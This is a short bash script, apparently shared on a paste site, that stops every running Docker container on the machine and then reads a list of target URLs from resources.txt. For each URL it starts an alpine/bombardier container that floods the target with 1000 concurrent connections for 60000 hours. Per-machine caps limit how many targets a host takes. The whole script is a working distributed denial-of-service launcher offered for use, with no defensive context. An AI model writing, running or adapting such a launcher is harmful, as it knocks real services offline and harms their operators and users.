start_all_docker.sh 1.1 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758
  1. #!/bin/bash
  2. weak_machines=("ip-172-31-7-101")
  3. weak_machines_target_maximum=12
  4. medium_machines=("ubuntu-s-1vcpu-1gb-fra1-01")
  5. medium_machines_target_maximum=16
  6. machine_name=$(hostnamectl | grep -i 'Static hostname:' | awk '{print $3}')
  7. is_weak=false
  8. is_medium=false
  9. if [[ " ${weak_machines[*]} " =~ " ${machine_name} " ]]; then
  10. is_weak=true
  11. echo ' '
  12. echo "Low computing capabilieties detected"
  13. echo ' '
  14. fi
  15. if [[ " ${medium_machines[*]} " =~ " ${machine_name} " ]]; then
  16. is_medium=true
  17. echo ' '
  18. echo "Medium computing capabilieties detected"
  19. echo ' '
  20. fi
  21. docker kill $(docker ps -q)
  22. echo ' '
  23. echo 'Docker instances killed.'
  24. echo ' '
  25. IFS=$'\n' read -d '' -r -a lines < resources.txt
  26. counter=0
  27. for i in "${lines[@]}"
  28. do
  29. echo "$i"
  30. export URL=$i
  31. docker run --platform linux/amd64 -d alpine/bombardier -c 1000 -d 60000h -l $URL
  32. if [ "$is_weak" == "true" ] && [ "$counter" == "$weak_machines_target_maximum" ]; then
  33. break
  34. fi
  35. if [ "$is_medium" == "true" ] && [ "$counter" == "$medium_machines_target_maximum" ]; then
  36. break
  37. fi
  38. ((counter++))
  39. done
  40. echo ' '
  41. echo "${counter} instances started."
  42. echo ' '
  43. echo 'Done'
  44. echo ' '